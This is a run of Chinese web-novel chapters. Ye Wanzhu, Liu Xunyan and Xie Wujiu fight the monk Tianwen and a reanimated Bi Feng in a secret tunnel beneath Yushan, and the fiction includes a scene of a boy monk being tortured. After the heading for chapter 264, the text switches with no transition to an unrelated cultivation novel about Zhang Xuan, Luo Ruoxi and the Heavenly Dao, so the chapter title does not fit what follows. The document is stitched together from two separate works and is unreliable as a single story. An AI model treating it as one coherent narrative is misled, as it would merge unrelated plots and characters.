毕烽这会儿一直在对着树干费力,又咬又挠,看动作像是某种还未开智的野兽似的。 被柳寻雁的忽然现身吓了一大跳,他本能地往后缩了缩,旋即反应过来,低吼一声就朝着她扑了过去! “这下你可是真的如愿以偿,变成畜生了。” 柳寻雁冷笑一声,从她这个角度,能清清楚楚地看见毕烽眼中疯狂的狩猎杀意。 除此之外,什么都没有。 这绝对不能算是一个人。 定了定神,柳寻雁又吹了声口哨,毕烽肉眼可见地变得更加躁动! “追我。” 转头就跑,柳寻雁身轻如燕,瞬间就和毕烽拉开了一道不小的距离。 毕烽见状脚下也发力更猛,柳寻雁却又放慢了速度,等着毕烽将将要追上自己,才再度身形向前。 她不紧不慢地放着毕烽的风筝,很快两人便消失在一条小道尽头。 等声音都消失,叶晚竹才从树上跃下,快步朝着徐将军等人的尸体而去。 徐将军死不瞑目地仰躺在地上,凝固了的表情依旧疑惑,鲜血从他的喉管中缓缓流出,浸润了周身的土地,又渐渐被吸收,变得潮湿下去。 一切都很正常。 没有半点和毕烽死后相同的症状。 匆匆将几具尸体都检查了一遍,看不出他们有要异变的可能,叶晚竹松了口气,心里却更是沉甸甸的。 如此看来,问题是出在毕烽自己身上了。 又和天问大师有关? 叶晚竹又想到了白云观小院里的阮莹莹。 一个死而复活,一个僵而不死,都不是什么好东西。 这天问大师究竟要做什么,为什么把人都弄成这幅鬼样子? 掌握的内容太少,想也没用,叶晚竹给几人合上双眼,拔腿朝通往白云观的那条路而去。 先前知道孙成十有八九在这条路上布置了什么,再加上时间紧急,叶晚竹三人都绕开了此处,眼下看来,还是得过去探探。 叶晚竹记得孙成说他在路上埋了陷阱,等她去踩。 所以,陷阱下面会是什么东西? 快步朝山上走去,叶晚竹观察着周围的环境,随着越发靠近白云观,她脚下的动作也变得越慢。 不知道那陷阱会在什么地方—— “晚竹!小心!” 柳寻雁的声音忽然从一旁传来,还伴着一阵劲风,来不及扭头,叶晚竹便感到了杀气从侧方猛地涌上! 她后跳两步,侧身躲闪,和张开大嘴要朝自己一口咬下的毕烽擦肩而过! “他的目标恐怕是你!”柳寻雁的声音也赶到了近前,“离开那片树林不久,他就开始到处找你的踪迹!” 柳寻雁只吊着毕烽跑出了没多远的距离,这货便头也不回地沿着来路折返,又顺着这条通往白云观的路不停地追赶。 叶晚竹熟练地爬上树干,柳寻雁也紧随其后,毕烽又一次失去了目标,面对着空空如也的山道,表情疑惑,动作狂躁。 “现在怎么办?” 喘了口气,柳寻雁看着叶晚竹,“我没招了,他不跟着我走。” “到这儿正好。” 叶晚竹挑了挑眉,眼神专注地在山道上寻找。 “这位毕副将让人给我布了个陷阱,我还正愁找不到,现在可以拜托给他自己了。” 柳寻雁闻言也神情一振! “说得有理!” “在那儿呢。” 这会儿功夫,叶晚竹也看见了悬在路中央那一根细细的银丝,正微弱地闪烁着一点光芒。 只是那块地方离毕烽尚且有段距离,而他已经一回生二回熟地找到了叶晚竹躲藏的办法,正死死地盯着树干不放。 “师姐,”叶晚竹估算着两者之间的距离,“帮我个忙?” 第二百六十章 螳螂捕蝉黄雀在后 片刻之后,叶晚竹翻过几棵大树,无声无息地降落在毕烽的背后。 这个时候毕烽还在抱着方才叶晚竹藏身的那棵树,停顿了片刻才抽了抽鼻子,而后猛地转头朝身后看去! “嗷呜——” 盯着叶晚竹看了几眼,似乎是在确定她的身份,毕烽这才仰天发出了一声长鸣! “变成一条狗的感觉怎么样?”叶晚竹冷笑一声,抬手丢出一颗石子,“叫得还挺响?来,再叫一声!” 那石子砰地一声正中毕烽眉心,他被打得浑身一哆嗦,脑袋下意识地后仰,而后才反应过来,吼叫声变得无比愤怒! 脚下用力,毕烽一头朝着叶晚竹的方向冲了过来! 叶晚竹丢了石子便转身后撤,这会儿已经跑到十几步开外的地方,回身又是一颗石子丢了出去! “吃里扒外的蠢货!” 徐将军那死不瞑目的模样还在眼前环绕,叶晚竹眉宇间凝起了一股寒气,朝毕烽这张也是面目全非的脸丢石子的力道也变大了不少。 又是一声闷响,这颗石子带着几分内力而去,砸在毕烽鼻梁之上,将他一把掀翻在地! “吼——!” 被这接连不断地挑衅激起了凶性,毕烽大吼一声,连站起身来都顾不上了,就这么手脚并用着朝叶晚竹爬行了过去! 他毕竟还是人的躯壳,做出这兽类的动作显得十分诡异,可毕烽本人却似乎什么都没有感受到,甚至速度还奇快无比! 短短几息的功夫,他便已经冲到了叶晚竹面前,这才抬起上半身准备攻击! 叶晚竹等的就是这一刻! 脚下一勾,她忽然平地拔起,整个人瞬间便纵越到了半空中! 柳寻雁早就埋伏在树上,伸手拉她一把,两人有惊无险地落在粗壮的树枝上! 与此同时,阵阵颤动也从下方穿了上来。 叶晚竹连忙朝下看去,只见毕烽一脚踢断了那小道上的暗线,刹那间地上便裂开了一个大口子,伴随着烟尘四溅,隐约能看到下方有一条黑黝黝的地道。 又是地道? 毕烽一脚踏空,整个人都已经摔了进去,发出一声地动山摇的沉闷响声! 正要细看,叶晚竹忽然感背后猝不及防地传来一阵大力! “小心!” 柳寻雁的惊呼声响起,叶晚竹的身体却已经不受控制地向下坠落而去! 是谁? 她怎么什么都没听见? 急急转过身,一个身穿灰衣,无声无息的影子从她身边掠过,手执匕首,朝着柳寻雁的脖颈袭来! 此人明显武功高超,柳寻雁连忙闪身躲避,却还是被一刀划破肩头,鲜血顿时流了出来。 “可惜。” 那人低语一声,身形却并未有半分要停留的意思,直直朝着那大坑飞身而下。 “你给我站住!”大喊一声,柳寻雁反手从腰间摸出长鞭,狠狠朝着天问大师腰间缠了上去! 她认出来了! 是这老秃子! “啧。” 天问大师发出一点不耐烦的动静,侧身想闪,柳寻雁的鞭子却如影随形,紧跟着又缠了过去! “站住!你到底想干什么?” 飞身追上天问大师的动作,柳寻雁绷紧了脸,表情十分难看,“你又是什么人?” 能把毕烽变成这幅人不人,贵不贵的模样,这天问大师究竟要做什么? “无知女子,不配质问贫僧。” 天问大师的声音也有些冷冷的,动作仓促,似乎是想速战速决。 “赶紧让开!贫僧还能留你一条性命!” “哼,大言不惭,不过是个见不得光的妖僧罢了!” 柳寻雁抬手又是一鞭过去,再次挡住了天问大师要追进下方大坑的动作! 叶晚竹和毕烽正在下面,再加上一个天问大师,只怕更是没有半点胜算! “我看还是你老老实实投降为好,”她语气冰冷,“妖僧,你做下如此丧心病狂的恶事,还不趁早收手?” “大言不惭!” 又一次被迫后退,离那大坑又远了几步,天问大师怒瞪着柳寻雁,表情更加难看,“让开!” “你就这点本事?”柳寻雁冷笑着,“有人阻挡,你只会说让开?是不是过于没用了?” 天问大师眉头紧蹙,似乎不想再和她多说什么,脚步一移又要继续朝那大坑而去。 这时候他的意图已经不能再明显,柳寻雁刚要挥鞭,手腕却忽然一痛! 被一股大力击中,她脸色发白,本该准确拦住天问大师动作的这一鞭也跟着失了准头,朝着另一边歪斜而去! “师父!” 小和尚德慧的声音不知道从那棵树上传来,透着一股兴奋的狠辣,“我打着了!” “贱女人!让你打我师父!”他一边喊着,一边又是一颗弹珠朝柳寻雁飞了过去! 柳寻雁侧身闪开,这时候也看见了德慧的位置,长鞭凌空一甩,将他整个人硬生生地从树上扯了下来! “一个小孩儿也学得如此污言秽语,老秃驴,你瞧瞧你干了一件好事吗?”她眉目间的神情锋利如冰。 “啊!” 德慧小和尚重重朝着地面摔了下去,柳寻雁却早已经收回长鞭,气势一转,再度指向天问大师后心! 天问大师分明已经赶到了大坑前,却不得不再次闪身躲避柳寻雁的鞭子,为此只能就地一滚,动作多少显得狼狈不堪。 他抬起头的时候,表情也变得格外气急败坏。 “不愧是天清子的徒弟,和你师傅一样,都是蠢货!” “师傅?”柳寻雁闻言表情也变了变,“你认识师傅?” 这怎么可能? “哼!”天问大师的表情又狰狞了几分,“那愚蠢的女人,肯定不会承认她认识贫僧,否则她的高人形象还怎么维护?” “休得放肆!” 柳寻雁眉头一皱,眼前的天问大师却骤然暴起,猛地冲到那大坑边,毫不犹豫地一跃而下! 中计了! 柳寻雁见状也要跟下去,脚腕一重,却是被那小和尚德慧死死地抱住了。 “贱女人,不许你给师父捣乱!”他咬着牙大喊大叫! 与此同时,地面再次颤动起来! 第二百六十一章 你看见我家主子了吗? 猛地转过头,柳寻雁瞳孔骤缩! 那大坑上方的盖板正在缓缓合拢! “让开!” 胸口一紧,柳寻雁毫不留情地一脚朝着德慧踹了过去! “不让!” 德慧小和尚也是拼了,被这一脚踹得连骨头都发出了清脆的嘎巴声,却愣是没有松手,不仅如此,还一口狠狠地咬上了柳寻雁的小腿! 这一口使尽了他全身的力气,柳寻雁忍不住也蹙眉倒吸了一口冷气! 这是属狗的吗? 她又是一脚踹下去,这回总算把德慧甩开,转过头去,却只来得及看到那坑道上方的盖板缓缓合上,一切又归于了平静。 浑身卸力地坐在地上,柳寻雁皱眉看着已经消失不见的大坑。 她刚才,是不是看到有什么东西冲下去了? 周遭依旧烟尘滚滚,方才那也只是一瞥,什么都不能确定。 “贱女人,我要,我要杀了你!” 这时候尖叫声起,德慧小和尚捂着自己肿胀变形的下巴,一边含糊不清地尖叫,一边朝着柳寻雁扑了上来! 他的下巴好像被踢断了! 疼死了! “我要杀了你,杀了你!”他呼哧呼哧地喘着粗气! “滚!” 烦不胜烦,柳寻雁又是一脚上去,将德慧小和尚踢飞到几步开外! 她正头疼着呢! 连滚带爬地扑到盖板上,柳寻雁来回摸索了几个回合,又找到方才毕烽启动机关的那条丝线,扯了几下也不见有任何动静。 这是什么暗道,又要通向哪里? 心急如焚,柳寻雁忽然转过头,盯着躺在地上的德慧看了片刻,旋即大步走了过去。 德慧小和尚这会儿只有彻底躺在地上哀嚎的份儿了,方才柳寻雁那一脚又踢到了他的腰,他的下半身没有一点儿感觉! “贱女人,贱女人!” 正疯狂地咒骂着,上半身忽然一轻,还没等德慧反应过来,便被柳寻雁一把拎了起来。 “这暗道怎么回事?” 对上这疯狂的小和尚,柳寻雁没有半点好脸色,“说,不然我扒了你的皮!” 小小年纪就作恶多端! 她的表情十分难看,德慧见状不由得瑟缩了一下,却还是很快回过神来,又变得横眉竖目。 “呸!我就是死了也不会告诉你的!贱货!” “还能骂得更难听呢?” 冷笑一声,柳寻雁的神情也透着焦躁,“给你最后一——” “呸!” 她话还没说完,德慧便一口唾沫吐了出来,正冲柳寻雁面门! “我才不说!”德慧龇牙咧嘴地笑着,“你想知道?那你跪下来求我啊!” 偏头闪开他这恶心的攻击,柳寻雁的眼神变得漠然。 “你自找的。”她冷声道。 没等德慧再做出什么,柳寻雁抬手在他脊椎某处狠狠一按! “啊!” 凄厉的惨叫伴着喀嚓声响起,德慧双眼一翻,顿时被巨大的恐惧席卷! “啊!啊!”可还没等他反应,又是两阵剧痛袭上,他眼睁睁地看着自己的双手被柳寻雁捏得彻底变了形! “你说不说?”柳寻雁的声音也持续走高。 “杀了你,杀了你!” 剧痛让德慧小和尚的状态变得更加不稳定,他猛烈地挣扎着,口中也不断喃喃自语,听上去十分凄厉。 柳寻雁这时候却停了手,眼神警惕。 再看不出眼前这个小和尚的状态不对劲,那她就有点太粗心大意了。 被柳寻雁攥在手中的德慧这会儿还在持续咆哮低吼,那声音渐渐变了形,不像是个小孩,甚至都不像是个人了。 从他口中说出来的话也是含混不清的,让人一点儿都听不懂。 这又是什么情况? 定定地看着德慧,望着他不停地朝自己露出要攻击的架势,柳寻雁不由得想到了方才的毕烽,脸色又变得惊疑不定了起来。 莫非这小和尚也和毕烽一样? 可他不是天问大师的徒弟吗? 正是一头雾水,一阵风声忽然吸引了柳寻雁的注意。 “什么人?” 她猛地抬起头,便和几道身影正面相撞! 来者浑身是血,连面容都变得模糊不清,不知道是在什么地方狠狠厮杀过几场。 几个人都没看向柳寻雁,而是先注意到了被她捏在手中的德慧,表情又变得微妙起来。 “你是何人?” 领头的男子一身黑衣,眼神警惕,“这小和尚是朝中要犯,把他交给我们!” 一听朝中二字,柳寻雁的眼神先变了变,却并未松手,“怎么证明?” 京城不是已经被围困许久了吗? 这些朝堂中人,是怎么出来的? 她怀疑地盯着眼前的几人,下意识地收紧了几分手上的力气。 这还要证明? 隐月眉头紧皱,一脸不耐,正要开口,那德慧小和尚却吃痛又嚷了起来。 “贱女人,你别得意!等我师父拿下那个贱女人,他回头就能杀了你!你算什么东西!” “天问大师已经得手了?” 闻言,隐月几人都神色大变,齐齐朝着德慧看去。 “那秃驴在什么地方?”谢逸脸色阴沉,大步上前,顾不得柳寻雁还在,伸手就要扼住德慧的脖子,把他抢过来。 德慧又是一口口水喷了出来,“呸!不许你侮辱我师父!” 话音未落,他便被柳寻雁一把狠狠地掼倒在地! 没去理会德慧落地发出的痛呼,柳寻雁转头看向隐月等人,同时抬手一指大坑上的盖板,三言两语地将刚才发生的事情说了出来。 隐月等人的脸色这下变得更加难看。 没想到,这禹山中竟然还有别的密道! “那你有没有见过我家主子?”他皱眉看着柳寻雁,“一个身穿玄袍的男人,跟着天问秃驴过来的。” 他们从京城出发,一路狂奔,赶到禹山下的时候发现了天问大师的踪迹,主子紧紧跟了过去,他们却被天问大师的手下纠缠,不免耽误了功夫。 现在倒好,彻底失去了主子的踪迹,威远王也遭殃了! “男人?没有。” 双眼依旧盯着那大坑的方向,柳寻雁下意识地摇摇头,而后才忽然一顿。 等等。 玄袍? 难道刚才那一道影子,不是她眼花了? 第二百六十二章 这都是什么东西? 叶晚竹重重落在大坑底部的时候,只能听见上方一片混乱,师姐的声音也跟着响起—— “吼!” 还不等她多做思考,毕烽低沉的吼声从耳边传来,叶晚竹顿时一个激灵,扭身而起! 这大坑底部是一条非常宽敞的暗道,头顶的光亮撒下来,能看到洞壁上每隔几步还修建了能放置火把的铁架。 这又是什么地方? 顾不上多想,叶晚竹匆匆一眼扫过,又将注意力全都放在了不远处的毕烽身上。 毕烽显然也摔得不轻,半个身子好像都碎了,歪歪扭扭地挂在另外半边上,看起来十分诡异。 他走动的时候也显得踉跄了不少,速度明显放缓,可一双眼睛却还是直勾勾地盯着叶晚竹。 上方的打斗声不断传来,听见天问大师的声音,叶晚竹的脸色又沉了沉。 真是难缠。 “你还能听懂我说话吗?”她将目光转回毕烽身上。 “呜吼!”对方回应了她一声意味不明的低吼。 那就没有什么可说的了! 拔出腰间的匕首,叶晚竹猛地朝着毕烽率先扑了过去! 机会正好,让她仔细看看,毕烽到底变成了什么妖怪! 毕烽也又呜呜低吼了几声,半个身子想冲到叶晚竹面前,另外那半个却不够听话,破碎的肢体纠缠在一起,顿时阻碍了他的动作。 耽搁了这么一阵子的功夫,叶晚竹便冲到了毕烽面前。 她高高举起匕首,看准了上一次将毕烽置于死地的那个刀口,狠狠地又一次割了过去! 一个死人,还能死第二次吗? 应该是不能了。 一击的中,叶晚竹便后退了两步,眼看着自己刚才那一下几乎把毕烽的脖子切3成了两截,后者却丝毫不为所动,甚至好像连一点感觉都没有! 他依旧在和自己那半截不好用的身体纠缠,恶狠狠地盯着叶晚竹,时刻想再次发起攻击。 还有什么地方可用? 攥紧了匕首,叶晚竹再次欺身而上,这回瞄准的是毕烽的心口—— “轰隆隆”的声音不知道从什么地方传来,整个暗道也跟着猛地摇晃,叶晚竹失了重心,连忙侧身滑向一旁。 “吼!” 幸亏她这么做了,伴随着毕烽的又一声吼叫,属于天问大师的黑影忽然从上方一跃而下,目标直指叶晚竹方才站着的地方! 与此同时,头顶开始变暗,叶晚竹抬头一扫,便见到暗道上方正在缓缓合拢。 “废物。” 扑了个空,天问大师语气尖刻地说着,一边一脚将毕烽踹到了几步开外。 他拔腿便朝着叶晚竹而来,伸出一只手,表情十分狰狞! “你这个女人坏了我太多事,好在还来得及——” 一句话还没说完,天问大师闷哼一声,被什么猛地掀翻在地! “这怎么能来得及呢?” 谢无咎笑吟吟的声音响起,听着还有些气喘吁吁的。 “大秃,跑得这么快,你果然是骡子转世的吧?” 好在他终于是赶上了! 只听“砰”地一声,暗道上方的盖板彻底关闭,洞中顿时陷入了一片漆黑。 这黑暗来得猝不及防,叶晚竹顿时什么都看不到,只能举起匕首防御,一边小心翼翼地朝着谢无咎的方向摸索而去。 天问大师或许随时会发起攻击。 谢无咎也有相同的想法,二人缓缓靠近,眼睛也逐渐适应了暗道里的黑暗—— “人呢?” 宽敞得过分的暗道里空空如也,方才天问大师摔出去的地方只留下了一个大坑,人却已经消失不见了。 叶晚竹前后看看,有些难以置信,“他就这么跑了?” 谢无咎也打量着周围的环境,半晌后冷嗤一声,“纸老虎。” 只会躲在暗处耍弄奸计,连半点正面相抗的本事都没有。 “你怎么样?” 确认四下安全,谢无咎这才将注意力落到了叶晚竹的身上。 这会儿功夫,他虽然能适应了这密道中昏暗的光线,却也看不分明,只能望见叶晚竹隐隐约约的身影。 “还好,没受伤,”叶晚竹也看着自己面前的黑影,“你见到我师兄了吧?” 谢无咎点了点头,还想再说什么,却被叶晚竹又截住了话头。 “你先来看这个。” 快步向前,叶晚竹摸索着找到了毕烽的所在地。 毕烽此时一动不动地瘫在地上,好像一滩烂泥,他身上能断的骨头恐怕都已经断了。 叶晚竹用了点力气,往毕烽身上踢了一脚。 软绵绵的,没有传来半点回应。 以这位的闹腾程度来看,都被这样对待了,也还是什么反应都没有,恐怕是真的死得彻彻底底的了。 谢无咎也跟着走了过去,眯眼看着叶晚竹的动作,又转向地上的尸体。 “这是谁?”他努力辨认着对方的脸。 叶晚竹收回脚,又挑了挑眉,“你要不要摸一下?” 这话听着像是玩笑,可眼下显然并不是开玩笑的时候,谢无咎神情微凝,探手下去细细地摸了两把。 入手冰凉,这人显然是已经死了有一段时间了。 等等! 谢无咎猛地顿住,又加大力气捏了捏。 这肢体怎么会如此柔软? “他是被天问大师杀的,”叶晚竹抱起双臂,又补充着,“就在刚刚。” “你不是在开玩笑吧?” 谢无咎也难得有了惊疑不定的情绪。 刚刚被杀的人便已经凉成这样了? 况且这暗道里还连一点儿血腥气都没有? “因为我在几个时辰前,也杀过他一次。”叶晚竹的语气似乎又变得低沉了些,“然后他又动起来,杀了徐将军,还要继续追杀我,谢都督相信吗?” “殿下所言,我自然是要相信的,”谢无咎的语气显得有些干巴巴的,“但这实在是……匪夷所思。” 叶晚竹不出声地轻笑着,开口时语气里却没有任何笑意。 “怪事还不止这件。” 等谢无咎听完躺在棺材里,却还能喘气的阮莹莹,他的表情就变得更加难看了起来。 “这都是什么,”他略一停顿,“那秃驴在造妖怪不成?” “很有可能——什么声音?” 第二百六十三章 无论如何都要往前走了 正说到这儿,一阵细微的嗡鸣声从两人前方的通道里传了出来。 瞬间便停下了讨论,叶晚竹和谢无咎对视一眼,又齐齐朝着那方向看了过去。 嗡鸣声仍在继续,隐隐约约似乎还有呼吸声,沉重而规律地一下下响起。 叶晚竹环顾四周,从地上捡了块石子,朝着那发出声音的方向丢了过去。 咚地一声,石子落地,那边的呼吸声似乎也跟着一窒。 “大秃?” 谢无咎试探着抬高了几分声音,“又在偷偷摸摸地做什么呢?” 除了天问大师,这个暗道里这会儿应该也没有其他活着的东西了吧? 暗道那边安安静静,并没有传来任何应答的声音,倒是那呼吸声又重新响了起来。 谢无咎挑了挑眉,正要再说什么,凌空风声一响,他下意识地抬手一抓,将那块石子攥在了手中。 这是什么意思? 挑衅? 看着谢无咎掌心的石子,正是自己刚刚丢出去的那颗,叶晚竹无声地冷笑着。 除了天问大师,还有谁这么锱铢必较? “看来,我们无论如何都要往前走一走了。”她抱起双臂,语气十分冷漠。 谢无咎吹了声口哨,将石子抛起又捏住。 “本督也正有此意,走吧殿下?” 天问大师敢这般引诱他们上前,定是已经做好了妥善的打算。 既然如此,那就让他们看看,这位到底还有些什么本事? 再度对视一眼,两人抬腿便朝着前方走了过去。 那故弄玄虚的呼吸声起初在暗道的拐角附近,可等叶晚竹和谢无咎小心上前,此处却是空空如也。 而在两人前方几步远的地方,隐隐约约地,那呼吸声很快又响了起来。 “还是移动的。”谢无咎环顾四周,语气又变得嘲讽,“大秃,您这本事倒是厉害,能在耗子堆里当大王。” 他一句话落下,那呼吸声似乎有了些微弱的变化。 “耗子王大师,”叶晚竹也笑了笑,“让我猜猜,你现在在哪个洞里,小心翼翼地偷窥着我们呢?” “想骂人却得忍住,大秃,很辛苦吧?”谢无咎继续跟上,两人一唱一和。 暗道里回荡着的呼吸声又变得粗重了几分。 看来这个动静,是天问大师自己发出来的了? 忽然间有破空之声袭来,就在叶晚竹耳边,她神情一凛,侧身闪头躲过,回身一脚踹向那声音发出的地方! 当啷一声响,一枚小巧的暗器应声落地,又滚了几滚,躺在地上不动了。 “还有暗器?” 抬手摸了摸发间,被这暗器削去了几缕头发,叶晚竹拨开扫到眼前的碎发,仰头朝着那暗器射出的方向看了过去。 又是嗖嗖两声,谢无咎一把揽着她飞身而起! 更多的暗器从后方袭来,两人只好闪身躲避着,被迫向前移动。 直到两人向前移动了几十步,暗器纷纷落地之后,周遭才恢复了短暂的寂静。 这个时候,他们已经远远离开了方才的入口,完全不知道自己正身在何处了。 “不走还不行,大秃,您有点霸道了吧?” 喘了口气,叶晚竹再度抬头看着头顶,没好气地道。 头顶的洞壁坑坑洼洼,一片黑暗,若是有人躲藏在里面,根本就发现不了对方的踪迹。 那呼吸声不知道什么时候又响了起来,起起伏伏的,宛如催命的冤魂一般。 谢无咎整理了一下衣裳,再看向四周的时候,眼底的冷意也变得更重。 “看来,今天咱们不按照大秃给的这条路走,是万万不行了。” 叶晚竹这时候转头朝着谢无咎看了过去。 大秃,这名字起的不错,十分符合天问大师的形象。 谢无咎闻言摊了摊手,眼底的冷意依旧没有退去。 “饿狗都没有什么耐性——” 他这句话还没说完,暗器启动的声音便又响了起来! 虽然刷刷声和刚才如出一辙,但叶晚竹和谢无咎似乎都能从中听见天问大师气急败坏的声音。 相视一笑,二人再次朝前奔逃而去! 就这么走走停停,没有暗器的地方,两人就停下来调侃看不见的天问大师,再等他恼羞成怒,不知道过了多少轮暗器战,暗道的尽头忽然出现在他们眼前。 就这么到了? 入目是一面两人高的石墙,上面还刻着精美的雕花,叶晚竹上去摸了几把,入手冰凉锋利。 她摩挲着雕花的内容,感到一阵陌生。 这上面刻的应该不是大梁惯用的花纹。 那这条密道是什么人修建的,又要用来做什么? 熟悉的诡异感又一次缓缓升了起来。 “门在上面。” 谢无咎这时候出了声,叶晚竹回过神,抬头向上,一扇石门在黑暗中若隐若现。 这暗道顶部很高,四周也没有梯子,他们要怎么上去? 还没等她想完,只听吱呀一声,石门缓缓开启,一座台阶也从他们脚下某处升了起来。 这暗道,既能同时容纳他们和天问大师在不同的区域行走,又设下了无数暗器,现在还有这般精巧的机关台阶。 一定不是什么随便的东西。 看着精准地和地面持平的台阶,叶晚竹抬头望去,神态阴晴不明。 一缕白光从上空洒下。 天亮了,这台阶是通往室外的。 上面是什么地方? 谢无咎大步向前,拦在叶晚竹前面,第一个沿着台阶走了上去。 叶晚竹紧随其后,两人都有意放慢了步伐,时刻准备着防范天问大师忽然而至的袭击。 可直到两人的双脚都踏上结实的地面,却什么都没有发生。 这是什么地方? 叶晚竹环顾四周,而后神情变得有些微妙了起来。 白云观? —— “皇上?皇上您怎么样了?” 与此同时,皇宫之中,安王正躺在床上闭目养神,忽然听见殿外传来了问话声。 他嗖地一下翻身坐起,又定了定神才没下意识地出声。 虽然在天问大师面前漏了馅,但好在宫中的下人们并没有发现什么异样,安王这会儿还得继续回来,扮演被天问大师劫持之后正在休养的帝王。 帝王朝着床边的影卫投去了一个眼神。 第二百六十四章 有刺客! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 